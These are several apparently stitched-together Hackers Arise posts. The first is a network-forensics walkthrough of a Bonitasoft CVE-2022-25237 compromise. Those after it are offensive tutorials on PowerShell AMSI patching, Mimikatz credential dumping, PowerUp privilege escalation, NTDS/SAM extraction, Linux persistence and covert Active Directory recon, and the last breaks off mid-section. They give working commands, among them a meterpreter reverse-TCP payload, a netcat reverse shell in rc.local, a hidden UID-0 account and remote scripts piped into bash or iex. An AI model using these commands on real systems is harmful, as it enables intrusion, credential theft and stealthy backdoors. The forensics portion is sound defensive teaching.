Welcome back, aspiring forensic and incident response investigators.

Today we are going to learn more about a branch of digital forensics that focuses on networks, which is Network Forensics. This field often contains a wealth of valuable evidence. Even though skilled attackers may evade endpoint controls, active network captures are harder to hide. Many of the attacker’s actions generate traffic that is recorded. Intrusion detection and prevention systems (IDS/IPS) can also surface malicious activity quickly, although not every organization deploys them. In this exercise you will see what can be extracted from IDS/IPS logs and a packet capture during a network forensic analysis.

The incident we will investigate today involved a credential-stuffing attempt followed by exploitation of CVE-2022-25237. The attacker abused an API to run commands and establish persistence. Below are the details and later a timeline of the attack.

Intro

Our subject is a fast-growing startup that uses a business management platform. Documentation for that platform is limited, and the startup administrators have not followed strong security practices. For this exercise we act as the security team. Our objective is to confirm the compromise using network packet captures (PCAP) and exported security logs.

We obtained an archive containing the artifacts needed for the investigation. It includes a .pcap network traffic file and a .json file with security events. Wireshark will be our primary analysis tool.

Analysis

Defining Key IP Addresses

The company suspects its management platform was breached. To identify which platform and which hosts are involved, we start with the pcap file. In Wireshark, view the TCP endpoints from the Statistics menu and sort by packet count to see which IP addresses dominate the capture.

This quickly highlights the IP address 172.31.6.44 as a major recipient of traffic. The traffic to that host uses ports 37022, 8080, 61254, 61255, and 22. Common service associations for these ports are: 8080 for HTTP, 22 for SSH, and 37022 as an arbitrary TCP data port that the environment is using.

When you identify heavy talkers in a capture, export their connection lists and timestamps immediately. That gives you a focused subset to work from and preserves the context of later findings.

Analyzing HTTP Traffic

The port usage suggests the management platform is web-based. Filter HTTP traffic in Wireshark with http.request to inspect client requests. The first notable entry is a GET request whose URL and headers match Bonitasoft’s platform, showing the company uses Bonitasoft for business management.

Below that GET request you can see a series of authentication attempts (POST requests) originating from 156.146.62.213. The login attempts include usernames that reveal the attacker has done corporate OSINT and enumerated staff names.

The credentials used for the attack are not generic wordlist guesses, instead the attacker tries a focused set of credentials. That behavior is consistent with credential stuffing: the attacker uses previously leaked username/password pairs (often from other breaches) and tries them against this service, typically automated and sometimes distributed via a botnet to blend with normal traffic.

A credential-stuffing event alone does not prove a successful compromise. The next step is to check whether any of the login attempts produced a successful authentication. Before doing that, we review the IDS/IPS alerts.

Finding the CVE

To inspect the JSON alert file in a shell environment, format it with jq and then see what’s inside. Here is how you can make the json output easier to read:

bash$ > cat alerts.json | jq .

Obviously, the file will be too big, so we will narrow it down to indicators such as CVE:

bash$ > cat alerts.json | jq .

Security tools often map detected signatures to known CVE identifiers. In our case, alert data and correlation with the observed HTTP requests point to repeated attempts to exploit CVE-2022-25237, a vulnerability affecting Bonita Web 2021.2. The exploit abuses insufficient validation in the RestAPIAuthorizationFilter (or related i18n translation logic). By appending crafted data to a URL, an attacker can reach privileged API endpoints, potentially enabling remote code execution or privilege escalation.

Now we verify whether exploitation actually succeeded.

Exploitation

To find successful authentications, filter responses with:

http.response.code >= 200 and http.response.code < 300 and ip.addr == 172.31.6.44

Among the successful responses, HTTP 204 entries stand out because they are less common than HTTP 200. If we follow the HTTP stream for a 204 response, the request stream shows valid credentials followed immediately by a 204 response and cookie assignment. That means he successfully logged in. This is the point where the attacker moves from probing to interacting with privileged endpoints.

After authenticating, the attacker targets the API to exploit the vulnerability. In the traffic we can see an upload of rce_api_extension.zip, which enables remote code execution. Later this zip file will be deleted to remove unnecessary traces.

Following the upload, we can observe commands executed on the server. The attacker reads /etc/passwd and runs whoami. In the output we see access to sensitive system information.

During a forensic investigation you should extract the uploaded files from the capture or request the original file from the source system (if available). Analyzing the uploaded code is essential to understand the artifact of compromise and to find indicators of lateral movement or backdoors

Persistence

After initial control, attackers typically establish persistence. In this incident, all attacker activity is over HTTP, so we follow subsequent HTTP requests to find persistence mechanisms.

The attacker downloads a script hosted on a paste service (pastes.io), named bx6gcr0et8, which then retrieves another snippet hffgra4unv, appending its output to /home/ubuntu/.ssh/authorized_keys when executed. The attacker restarts SSH to apply the new key.

A few lines below we can see that the first script was executed via bash, completing the persistence setup.

Appending keys to authorized_keys allows SSH access for the attacker’s key pair and doesn’t require a password. It’s a stealthy persistence technique that avoids adding new files that antivirus might flag. In this case the attacker relied on built-in Linux mechanisms rather than installing malware.

When you find modifications to authorized_keys, pull the exact key material from the capture and compare it with known attacker keys or with subsequent SSH connection fingerprints. That helps attribute later logins to this initial persistence action.

Post-Exploitation

Further examination of the pcap shows the server reaching out to Ubuntu repositories to download a .deb package that contains Nmap. 

Shortly after SSH access is obtained, we see traffic from a second IP address, 95.181.232.30, connecting over port 22. Correlating timestamps shows the command to download the .deb package was issued from that SSH session. Once Nmap is present, the attacker performs a port scan of 34.207.150.13.

This sequence, adding an SSH key, then using SSH to install reconnaissance tools and scan other hosts fits a common post-exploitation pattern. Hackers establish persistent access, stage tools, and then enumerate the network for lateral movement opportunities.

During forensic investigations, save the sequence of timestamps that link file downloads, package installation, and scanning activity. Those correlations are important for incident timelines and for identifying which sessions performed which actions.

Timeline

At the start, the attacker attempted credential stuffing against the management server. Successful login occurred with the credentials seb.broom / g0vernm3nt. After authentication, the attacker exploited CVE-2022-25237 in Bonita Web 2021.2 to reach privileged API endpoints and uploaded rce_api_extension.zip. They then executed commands such as whoami and cat /etc/passwd to confirm privileges and enumerate users.

The attacker removed rce_api_extension.zip from the web server to reduce obvious traces. Using pastes.io from IP 138.199.59.221, the attacker executed a bash script that appended data to /home/ubuntu/.ssh/authorized_keys, enabling SSH persistence (MITRE ATT&CK: SSH Authorized Keys, T1098.004). Shortly after persistence was established, an SSH connection from 95.181.232.30 issued commands to download a .deb package containing Nmap. The attacker used Nmap to scan 34.207.150.13 and then terminated the SSH session.

Conclusion

During our network forensics exercise we saw how packet captures and IDS/IPS logs can reveal the flow of a compromise, from credential stuffing, through exploitation of a web-application vulnerability, to command execution and persistence via SSH keys. We practiced using Wireshark to trace HTTP streams, observed credential stuffing in action, and followed the attacker’s persistence mechanism.

Although our class focused on analysis, in real incidents you should always preserve originals and record every artifact with exact timestamps. Create cryptographic hashes of artifacts, maintain a chain of custody, and work only on copies. These steps protect the integrity of evidence and are essential if the incident leads to legal action.

For those of you interested in deepening your digital forensics skills, we will be running a practical SCADA forensics course soon in November. This intensive, hands-on course teaches forensic techniques specific to Industrial Control Systems and SCADA environments showing you how to collect and preserve evidence from PLCs, RTUs, HMIs and engineering workstations, reconstruct attack chains, and identify indicators of compromise in OT networks. Its focus on real-world labs and breach simulations will make your CV stand out. Practical OT/SCADA skills are rare and highly valued, so completing a course like this is definitely going to make your CV stand out. 

We also offer digital forensics services for organizations and individuals. Contact us to discuss your case and which services suit your needs.

Learn more: https://hackersarise.thinkific.com/courses/scada-forensics

The post Network Forensics: Analyzing a Server Compromise (CVE-2022-25237) first appeared on Hackers Arise.

Welcome back hackers!

For quite an extensive period of time we have been covering different ways PowerShell can be used by hackers. We learned the basics of reconnaissance, persistence methods, survival techniques, evasion tricks, and mayhem methods. Today we are continuing our study of PowerShell and learning how we can automate it for real hacking tasks such as privilege escalation, AMSI bypass, and dumping credentials. As you can see, PowerShell may be used to exploit systems, although it was never created for this purpose. Our goal is to make it simple for you to automate exploitation during pentests. Things that are usually done manually can be automated with the help of the scripts we are going to cover. Let’s start by learning about AMSI.

AMSI Bypass

Repo:

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

AMSI is the Antimalware Scan Interface. It is a Windows feature that sits between script engines like PowerShell or Office macros and whatever antivirus or EDR product is installed on the machine. When a script or a payload is executed, the runtime hands that content to AMSI so the security product can scan it before anything dangerous runs. It makes scripts and memory activity visible to security tools, which raises the bar for simple script-based attacks and malware. Hackers constantly try to find ways to keep malicious content from ever being presented to it, or to change the content so it won’t match detection rules. You will see many articles and tools that claim to bypass AMSI, but soon after they are released, Microsoft patches the vulnerabilities. Since it’s important to be familiar with this attack, let’s test our system and try to patch AMSI.

First we need to check if the Defender is running on a Russian target:

PS > Get-WmiObject -Class Win32_Service -Filter “Name=’WinDefend’”

And it is. If it was off, we would not need any AMSI bypass and could jump straight to our explorations.

Patching AMSI

Next, we start patching AMSI with the help of our script, which you can find at the following link:

https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1

As you know by now, there are a few ways to execute scripts in PowerShell. We will use a basic one for demonstration purposes:

PS > .\shantanukhande-amsi.ps1

If your output matches ours, then AMSI has been successfully patched. From now on, the Defender does not have access to your PowerShell sessions and any kind of scripts can be executed in it without restriction. It’s important to mention that some articles on AMSI bypass will tell you that downgrading to PowerShell Version 2 helps to evade detection, but that is not true. At least not anymore. Defender actively monitors all of your sessions and these simple tricks will not work.

Dumping Credentials with Mimikatz

Repo:

http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1

Since you are free to run anything you want, we can execute Mimikatz right in our session. Note that we are using Invoke-Mimikatz.ps1 by g4uss47, and it is the updated PowerShell version of Mimikatz that actually works. For OPSEC reasons we do not recommend running Mimikatz commands that touch other hosts because network security products might pick this up. Instead, let’s dump LSASS locally and inspect the results:

PS > iwr http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1 | iex  

PS > Invoke-Mimikatz -DumpCreds

Now we have the credentials of brandmanager. If we compromised a more valuable target in the domain, like a server or a database, we could expect domain admin credentials. You will see this quite often.

Privilege Escalation with PowerUp

Privilege escalation is a complex topic. Frequently systems will be misconfigured and people will feel comfortable without realizing that security risks exist. This may allow you to skip privilege escalation altogether and jump straight to lateral movement, since the compromised user already has high privileges. There are multiple vectors of privilege escalation, but among the most common ones are unquoted service paths and insecure file permissions. While insecure file permissions can be easily abused by replacing the legitimate file with a malicious one of the same name, unquoted service paths may require more work for a beginner. That’s why we will cover this attack today with the help of PowerUp. Before we proceed, it’s important to mention that this script has been known to security products for a long time, so be careful.

Finding Vulnerable Services

Unquoted Service Path is a configuration mistake in Windows services where the full path to the service executable contains spaces but is not wrapped in quotation marks. Because Windows treats spaces as separators when resolving file paths, an unquoted path like C:\Program Files\My Service\service.exe can be interpreted ambiguously. The system may search for an executable at earlier, shorter segments of that path (for example C:\Program.exe or C:\Program Files\My.exe) before reaching the intended service.exe. A hacker can place their own executable at one of those earlier locations, and the system will run that program instead of the real service binary. This works as a privilege escalation method because services typically run with higher privileges.

Let’s run PowerUp and find vulnerable services:

PS > iwr https://raw.githubcontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1 | iex  

PS > Get-UnquotedService

Now let’s test the service names and see which one will get us local admin privileges:

PS > Invoke-ServiceAbuse -Name 'Service Name'

If successful, you should see the name of the service abused and the command it executed. By default, the script will create and add user john to the local admin group. You can edit it to fit your needs.

The results can be tested:

PS > net user john

Now we have an admin user on this machine, which can be used for various purposes.

Attacking NTDS and SAM

Repo:

https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper

With enough privileges we can dump NTDS and SAM without having to deal with security products at all, just with the help of native Windows functions. Usually these attacks require multiple commands, as dumping only NTDS or only a SAM hive does not help. For this reason, we have added a new script to our repository. It will automatically identify the type of host you are running it on and dump the needed files. NTDS only exists on Domain Controllers and contains the credentials of all Active Directory users. This file cannot be found on regular machines. Regular machines will instead be exploited by dumping their SAM and SYSTEM hives. The script is not flagged by any AV product. Below you can see how it works.

Attacking SAM on Domain Machines

To avoid issues, bypass the execution policy:

PS > powershell -ep bypass

Then dump SAM and SYSTEM hives:

PS > .\ntds.ps1

Wait a few seconds and find your files in C:\Temp. If the directory does not exist, it will be created by the script.

Next we need to exfiltrate these files and extract the credentials:

bash$ > secretsdump.py -sam SAM -system SYSTEM LOCAL

Attacking NTDS on Domain Controllers

If you have already compromised a domain admin, or managed to escalate your privileges on the Domain Controller, you might want to get the credentials of all users in the company.

We often use Evil-WinRM to avoid unnecessary GUI interactions that are easy to spot. Evil-WinRM allows you to load all your scripts from the machine so they will be executed without touching the disk. It can also patch AMSI, but be really careful.

Connect to the DC:

c2 > evil-winrm -i DC -u admin -p password -s ‘/home/user/scripts/’

Now you can execute your scripts:

PS > ntds.ps1

Evil-WinRM has a download command that can help you extract the files. After that, run this command:

bash$ > secretsdump.py -ntds ntds.dit -sam SAM -system SYSTEM LOCAL

Summary

In this chapter, we explored how PowerShell can be used for privilege escalation and complete domain compromise. We began with bypassing AMSI to clear the way for running offensive scripts without interference, then moved on to credential dumping with Mimikatz. From there, we looked at privilege escalation techniques such as unquoted service paths with PowerUp, followed by dumping NTDS and SAM databases once higher privileges were achieved. Each step builds on the previous one, showing how hackers chain small misconfigurations into full organizational takeover. Defenders should also be familiar with these attacks as it will help them tune the security products. For instance, harmless actions such as creating a shadow copy to dump NTDS and SAM can be spotted if you monitor Event ID 8193 and Event ID 12298. Many activities can be monitored, even benign ones. It depends on where defenders are looking at.

The post PowerShell for Hackers, Part 8: Privilege Escalation and Organization Takeover first appeared on Hackers Arise.

Welcome back, aspiring hackers!

In part one of our Linux persistence series, we covered the basics – the quick wins that keep you connected after a compromise. Now it’s time to take things up a notch. In this part, we’re going to dive into techniques that give you more flexibility, more stealth, and in some cases, more durability than the simple shell loops, autostarts, and cron jobs we looked at before.

We’ll start with in-memory payloads, where nothing ever touches disk, making them almost invisible while they’re running. Then we’ll look at persistence through operating system configuration changes. No malware needed, just some creative abuse of the system’s own settings. From there, we’ll move into LD_PRELOAD, a legitimate Linux feature that can quietly hook into processes and run our code without launching any suspicious binaries. We’ll also talk about rc.local for those times you want a simple, one-shot startup hook, and we’ll finish with gsocket, a powerful tunneling tool that can keep a connection alive even when the network is working against you.

By the end of this part, you’ll have a toolkit that covers both stealthy short-term access and long-term, hard-to-shake persistence. And if you combine what we’ve done here with the foundations from part one, you’ll have the range to adapt to just about any post-exploitation environment.

In-Memory

An in-memory backdoor is a persistence-adjacent technique aimed at maintaining control without leaving forensic traces on disk. Instead of writing a payload to the filesystem, you inject it directly into the memory space of a running process. This approach is attractive when stealth is a higher priority than durability, as most antivirus solutions perform limited real-time inspection of memory. Even technically adept users are unlikely to notice a malicious implant if it resides inside a legitimate, already-running process.

In this example, the chosen payload is Meterpreter, a well-known tool capable of operating entirely in memory. A typical workflow might look like this:

c2 > msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=C2_IP LPORT=9005 exitfunc=thread StagerRetryCount=999999 -f raw -o meter64.bin

Here, msfvenom generates a raw Meterpreter reverse TCP payload configured to connect back to our C2 at the specified host and port. 

exitfunc=thread controls how the payload cleans up when it finishes or encounters an error. Thread means it will terminate only the thread it is running in, leaving the rest of the host process alive. This is critical for in-memory injection into legitimate processes because it avoids crashing them and raising suspicion.

StagerRetryCount=999999 instructs the stager to retry the connection up to 999,999 times if it fails. Without this, a dropped connection might require re-injecting the payload. With it, the backdoor keeps trying indefinitely until we are ready to receive the connection.

With pgrep you list processes to inject your payload into

target#> pgrep -x sshd

target#> mv /root/meter64.bin /root/mmap64.bin

target#> inject_linux 1032 mmap64.bin

The inject_linux utility then injects the binary blob into the process identified by PID, causing that process to execute the payload entirely in memory. No new file is created on disk, and no service or scheduled task is registered. Note, you might need to rename your payload as mmap64.bin.

Pros: Works under any user account, extremely difficult for a human observer to detect, and avoids leaving traditional artifacts like startup entries or executable files on disk.

Cons: Does not survive a reboot. The moment the system restarts or the host process ends, the implant disappears.

While this method lacks persistence in the strict sense, it provides a highly covert foothold for as long as the target system remains powered on. In a layered intrusion strategy, in-memory implants can complement more traditional persistence mechanisms by offering an immediately available, stealthy access channel alongside longer-lived backdoors.

Configs

Persistence through configuration changes takes a different path from typical backdoors or reverse shells. Instead of running malicious code, it manipulates the operating system’s own settings to ensure we can regain access later. Because there is no executable payload, such changes are far less likely to trigger antivirus detection. However, this method is viable only when you have direct access to the target system and sufficient privileges to modify core configuration files.

One of the most common examples is creating a hidden user account that can be used for future remote logins. In the example:

target# > openssl passwd -1 -salt test P@ssw0rd123

target# > echo 'post:$1$test$dIndzcyu0SmwXz37byHei0:0:0::/:/bin/sh' >> /etc/passwd

The first command uses openssl passwd with the -1 flag to generate an MD5-based hashed password (-salt test specifies a custom salt, here “test”) for the chosen password P@ssw0rd123. The output is a string in the format expected by /etc/passwd.

The second command appends a new entry to /etc/passwd for a user named post, with the generated password hash, UID 0, and GID 0 (making it equivalent to the root user), no home directory, and /bin/sh as its shell. This effectively creates a hidden superuser account.

Finally, make sure you have modified the /etc/ssh/sshd_config file to ensure that root (and by extension, the post account with UID 0) can log in over SSH (PermitRootLogin yes). This ensures you can reconnect remotely, provided the target system is reachable over the network.

After that restart the SSH service

target# > service sshd restart

Pros:  Survives reboots, and does not require running any malicious executable.

Cons: Requires administrative or root privileges to modify system files, and is ineffective if the machine is behind NAT or a restrictive firewall that blocks inbound connections.

This method is a pure OS-level manipulation. It leaves no malicious process in memory, but its success depends entirely on your ability to later connect directly to the host. In targeted intrusions, it is often combined with other persistence methods to ensure redundancy.

LD_PRELOAD

Using LD_PRELOAD for persistence takes advantage of a legitimate dynamic linking feature in Linux to inject custom code into every newly launched process. The LD_PRELOAD environment variable tells the dynamic linker to load a specified shared library before any others, allowing our code to override or hook standard library functions in user-space applications. This approach can be used to execute arbitrary logic, including establishing a shell or logging credentials.

First we create a meter.c file which will later be compiled into meter.so

target# > nano meter.c

Then the payload is compiled with the following command:

c2 > gcc -fPIC -shared -o meter.so meter.c

Next you write the path to your shared object (meter.so) into /etc/ld.so.preload. This file is consulted by the dynamic linker globally, meaning every dynamically linked binary will load the specified library, regardless of which user runs it. This requires root privileges.

target#> echo /path/to/meter.so >> /etc/ld.so.preload

Then you add an export LD_PRELOAD=/path/to/meter.so line to /etc/profile, ensuring that all users who log in through an interactive shell will have the environment variable set automatically

target#> echo export LD_PRELOAD=/path/to/meter.so >> /etc/profile

This command does the same but only for a single user by appending the export command to that user’s ~/.bashrc

target$> echo export LD_PRELOAD=/path/to/meter.so >> ~/.bashrc

Pros: Survives reboots, works under any user account, and can be applied system-wide or per-user. It allows the injected code to run within the context of legitimate processes, making detection harder.

Cons: The execution interval is uncontrolled, as code runs only when a new process starts, so reconnection timing is less predictable than with scheduled tasks or services.

rc.local

Persistence via rc.local relies on a legacy startup mechanism in Linux systems. The /etc/rc.local script, if present and executable, is run automatically by the init system once at the end of the multi-user boot sequence. By inserting a command into this file, we can ensure our payload executes automatically the next time the system restarts.

target#> echo "nc C2_IP 8888 -e /bin/bash &" >> /etc/rc.local

This appends a netcat command to /etc/rc.local that, when executed, connects back to our host on port 8888 and spawns /bin/bash, providing an interactive reverse shell. The ampersand (&) runs it in the background so it does not block the rest of the boot process.

Because rc.local executes only once during startup, the payload will not continuously attempt reconnection. It will run a single time after each reboot. If the connection fails at that moment, for instance, if your listener is not ready or the network link is down, no further attempts will be made until the next reboot.

Pros: Survives reboots and is simple to implement.

Cons: Requires root privileges to modify /etc/rc.local, and the execution interval is uncontrolled, it runs only once per boot, offering no retry mechanism between reboots.

While this method is straightforward and low-profile, it is limited in reliability. In modern Linux distributions, rc.local is often disabled by default or replaced by systemd service files, making it more of a legacy technique. For attackers seeking long-term, automated persistence, it’s usually combined with other methods that retry connections or run continuously.

Gsocket

Gsocket is a cloud relay both sides connect to, linking their outbound connections into a single encrypted two-way tunnel. From our perspective as attackers, that’s gold: we don’t need an open inbound port on the victim, we don’t have to wrestle with NATs or port-forwards, and a single cloud broker becomes a C2 for many targets. Long-lived outbound TLS-like streams blend into normal egress traffic, so the connection looks far less suspicious than an exposed listener.

We like Gsocket, because it massively reduces operational overhead. There is less infrastructure to maintain and much better success rates in restrictive networks because everything is outbound.

Here is how you install it on the target:

target# > bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"

target$ > bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"

Next, install it on your C2 and access it with the secret key

c2 > sudo apt install gsocket

c2 > gs-netcat -s “secret key” -i

More information can be found here:

https://www.gsocket.io/deploy

Pros: A stealthy way to establish remote access, pivot, exfiltrate data, or maintain a backdoor, especially in complex network environments.

Cons: Leaves traces, like persistent scripts or network access patterns and reliance on a shared secret requires careful secret management.

Summary

In part two, we stepped away from the basics and explored persistence and access techniques that push deeper into stealth and adaptability. We started with in-memory backdoors, great for situations where avoiding detection matters more than surviving a reboot. We then moved on to persistence through config changes, such as creating hidden users in /etc/passwd, which survive reboots without needing any malicious process running. After that, we covered LD_PRELOAD, a dynamic linker trick that quietly injects code into normal processes. We looked at rc.local for quick, legacy-style startup hooks, and wrapped up with gsocket, a tunneling tool that can keep a lifeline open even through restrictive firewalls or NAT.

Together, these two parts give you a layered approach: fast, simple persistence to hold your ground, plus stealthy, advanced techniques to stay in control for the long haul.

The post Advanced Linux Persistence: Strategies for Remaining Inside a Linux Target first appeared on Hackers Arise.

Welcome back, aspiring hackers!

Today we’re continuing the survival sequence and taking a closer look at PowerShell as your main tool. The beauty of PowerShell is that you don’t need to memorize a massive list of commands, it’s both a toolbox and a guide. It’s designed to help you figure things out as you go, so instead of wasting time searching online you can experiment and learn directly in the shell. If you let PowerShell handle the heavy lifting, you’ll work faster and stay under the radar. The integrated survival kit that not only has the tools you need, but also shows you how to use them step by step.

We will also cover Active Directory modules and dsquery which are incredibly useful during pentests. You will learn what to run, why it matters, and what to watch for if your goal is to stay quiet and keep access.

Remember, recon comes first, actions later. If you map the terrain carefully, you minimize surprises and reduce the chance of getting kicked out. Let’s dive in!

Dsquery

dsquery is a classic Windows tool, which is simple, fast, and present on domain-managing machines or admin workstations. At a high level, dsquery talks LDAP to AD, applies filters, and returns object lists like users, computers, OUs, groups, and whatever you ask for.

On well-configured domains, dsquery runs quickly and gives structured output that’s easy to parse. It’s also convenient when you don’t want to load or rely on larger modules or tools.

It is a system binary in the sense that it’s part of the Windows AD tooling set so it is legitimate for endpoint monitoring. Defenders may not immediately flag a dsquery invocation, but broad or repetitive queries against AD can still generate logs and attract attention. Large domain enumerations, wildcard queries that return thousands of objects, or repeated use from an unusual host are all detectable. Since stealth is the goal, favor targeted queries and avoid blasting the directory with exhaustive requests. Also note, that not every machine has dsquery installed, but it’s often present on domain controllers and admin workstations. On locked-down hosts it may be absent.

Find Users

This returns user accounts both active and inactive. Useful to get the initial scope of identities to investigate. Mainly we prioritize service and admin accounts first. Common name patterns like svc, adm, and others may give them away.

PS > dsquery user

Find Computers

Computer objects reveal server names, DEV hosts, backups, SQL, EXCH, etc. This variety gives you potential vectors of compromise. Well-managed environments place servers in OUs, which can tell you where critical infrastructure lives and help you refine your scope quickly.

PS > dsquery computer

Find groups

Inspect groups like Domain Admins, Enterprise Admins, Backup Operators and other potentially valuable. They point you to high-value targets and to people who matter inside the organization.

PS > dsquery * "CN=Users,DC=DOMAIN,DC=LOCAL"

Password-not-required accounts

This searches for users with the PASSWORD_NOT_REQUIRED flag. It’s uncommon on privileged accounts, but every once in a while you’ll find legacy or misconfigured accounts that are worth investigating.

PS > dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl

An account that looks unprivileged at first can still own or be granted rights that make it a pivot to more interesting objects. Low-profile privilege pathways that are laterally exploitable. Tools like BloodHound help visualize those relationships if you’re collecting data to analyze later.

Domain Controllers

Knowing DC names and their IPs is important. They’re the gatekeepers. LDAP, Kerberos, and replication insights come from them, and they host the crown jewels of domain authentication.

PS > dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.804:=8192)" -limit 5 -attr sAMAccountName

User-related data

We won’t rehash registry or user history investigations here, since that has been covered in PowerShell for Hackers: Basics. This chapter is focused on directory and module-based recon. If you need detailed user-artifact techniques, refer back to that article.

Remote Command Execution With PowerShell

There are many ways to execute commands remotely. Some require installing third-party binaries, others use native capabilities. Malicious third-party tools are noisy and signatured, while native execution can be quieter. Here’s the canonical PowerShell remote execution pattern:

PS > Invoke-Command -ComputerName DC -ScriptBlock { hostname }

You can also run several commands at once. Here is how you would import a module and run an AD query:

PS > Invoke-Command -ComputerName DC -ScriptBlock { Import-Module ActiveDirectory; Get-ADUser -Filter * }

Now you can run modules on remote hosts and pull back results without leaving large traces. 

Active Directory Modules and Documentation

Active Directory modules are incredibly convenient for both defenders and pentesters. They expose AD query and management commands  in a readable, scriptable way. Importing the module is a legitimate action, which makes it less suspicious. Many teams don’t actively monitor every module load. That said, module use is logged, and the patterns of use matter. If you import ActiveDirectory and immediately run a large enumeration from a workstation that never runs those commands, defenders may notice.

Imagine you’re on a physical pentest and you find a machine with PowerShell but no internet access. Memorizing every command helps, but there are too many across different operating systems to rely on memory alone. In this case, PowerShell’s built-in help and a module’s own documentation have your back. Microsoft provided a solid help system that you can learn from.

Available modules

List what’s on the system before importing anything:

PS > Get-Module -ListAvailable

Check whether the Active Directory module is present:

PS > Get-Module ActiveDirectory

If it’s available, import it:

PS > Import-Module ActiveDirectory

Once imported, list the commands available in the module. There are a lot. Don’t attempt to memorize them all, but focus on those that return identity, group, and computer information, and the ones that let you scope queries efficiently.

PS > Get-Command -Module ActiveDirectory

Get-Help is one of the useful survival tools you’ll have when offline. It shows command syntax, parameters, examples, and deeper usage notes, right in the session you’re running. Two flags we commonly use are -Examples and -Full:

See examples:

PS > Get-Help Enable-ADAccount -Example

See full documentation:

PS > Get-Help Enable-ADAccount -Full

Help can also be updated, when the computer is connected to the internet:

PS > Update-Help

Take some time to explore the other commands PowerShell has in the Active Directory module. Doing this will prepare you for the variety of environments you’ll encounter during your pentests.

Summary

PowerShell is both your tool and your guide. It lets you learn about the environment in the shell, as you can get information without relying on external resources. Tools like dsquery and the Active Directory module help you map users, computers, and groups. These built-in binaries let you work from the host itself, even without internet access, which is good for keeping a lower profile. Careful and targeted recon reduces the risk of detection. Although everything can be detected, it really depends where the defender is looking at. Normally, detecting every possible move a hacker can make is unreal. By using the tools the defenders and system administrators use for legitimate purposes, you blend in with the environment so well. 

In the next chapter we’ll cover how defenders spot suspicious activity and offer high-level recommendations for maintaining operational security and minimizing unnecessary noise.

The post PowerShell for Hackers – Survival Edition, Part 2: Advanced Recon first appeared on Hackers Arise.

Welcome back, cyberwarriors.

We’re continuing our look at how PowerShell can be used in offensive operations, but this time with survival in mind. When you’re operating in hostile territory, creativity and flexibility keep you alive. PowerShell is a powerful tool and how well it serves you depends on how cleverly you use it. The more tricks you know, the better you’ll be at adapting when things get tense. In today’s chapter we’re focusing on a core part of offensive work, which is surviving while you’re inside the target environment. These approaches have proven themselves in real operations. The longer you blend in and avoid attention, the more you can accomplish.

We’ll split this series into several parts. This first piece is about reconnaissance and learning the environment you’ve entered. If you map the perimeter and understand the scope of your target up front, you’ll be far better placed to move into exploitation without triggering traps defenders have set up. It takes patience. As OTW says, true compromises usually require time and persistence. Defenders often rely on predictable detection patterns, and that predictability is where many attackers get caught. Neglecting the basics is a common and costly mistake.

When the stakes are high, careless mistakes can ruin everything. You can lose access to a target full of valuable information and damage your reputation among other hackers. That’s why we made this guide to help you use PowerShell in ways that emphasize staying undetected and keeping access. Every move should be calculated. Risk is part of the job, but it should never be reckless. That’s also why getting comfortable with PowerShell matters, as it gives you the control and flexibility you need to act professionally.

If you read our earlier article PowerShell for Hackers: Basics, then some of the commands in Part 1 will look familiar. In this article we build on those fundamentals and show how to apply them with survival and stealth as the priority.

Basic Reconnaissance

Hostname

Once you have access to a host, perhaps after a compromise or phishing attack, the first step is to find out exactly which system you have landed on. That knowledge is the starting point for planning lateral movement and possible domain compromise:

PS > hostname

Sometimes the hostname is not very revealing, especially in networks that are poorly organized or where the domain setup is weak. On the other hand, when you break into a large company’s network, you’ll often see machines labeled with codes instead of plain names. That’s because IT staff need a way to keep track of thousands of systems without getting lost. Those codes aren’t random, they follow a logic. If you spend some time figuring out the pattern, you might uncover hints about how the company structures its network.

System Information

To go further, you can get detailed information about the machine itself. This includes whether it is domain-joined, its hardware resources, installed hotfixes, and other key attributes.

PS > systeminfo

This command is especially useful for discovering the domain name, identifying whether the machine is virtual, and assessing how powerful it is. A heavily provisioned machine is often important. Just as valuable is the operating system type. For instance, compromising a Windows server is a significant opportunity. Servers typically permit multiple RDP connections and are less likely to be personal workstations. This makes them more attractive for techniques such as LSASS and SAM harvesting. Servers also commonly host information that is valuable for reconnaissance, as well as shares that can be poisoned with malicious LNK files pointing back to your Responder.

Once poisoned, any user accessing those shares automatically leaks their NTLMv2 hashes to you, which you can capture and later crack using tools like Hashcat.

OS Version

If your shell is unstable or noninteractive and you cannot risk breaking it with systeminfo. Here is your alternative:

PS > Get-CimInstance -ClassName Win32_OperatingSystem | Select-Object Caption

Different versions of Windows expose different opportunities for abuse, so knowing the precise version is always beneficial.

Patches and Hotfixes

Determining patch levels is important. It tells you which vulnerabilities might still be available for exploitation. End-user systems tend to be updated more regularly, but servers and domain controllers often lag behind. Frequently they lack antivirus protection, still run legacy operating systems like Windows Server 2012 R2, and hold valuable data. This makes them highly attractive targets.

Many administrators mistakenly believe isolating domain controllers from the internet is sufficient security. The consequence is often unpatched systems. We once compromised an organization in under 15 minutes with the NoPac exploit, starting from a low-privileged account, purely because their DC was outdated.

To review installed hotfixes:

PS > wmic qfe get Caption,Description,HotFixID,InstalledOn

Remember, even if a system is unpatched, modern antivirus tools may still detect exploitation attempts. Most maintain current signature databases. 

Defenses

Before proceeding with exploitation or lateral movement, always understand the defensive posture of the host.

Firewall Rules

Firewall configurations can reveal why certain connections succeed or fail and may contain clues about the broader network. You can find this out through passive reconnaissance: 

PS > netsh advfirewall show allprofiles

The output may seem overwhelming, but the more time you spend analyzing rules, the more valuable the information becomes. As you can see above, firewalls can generate logs that are later collected by SIEM tools, so be careful before you initiate any connection.

Antivirus

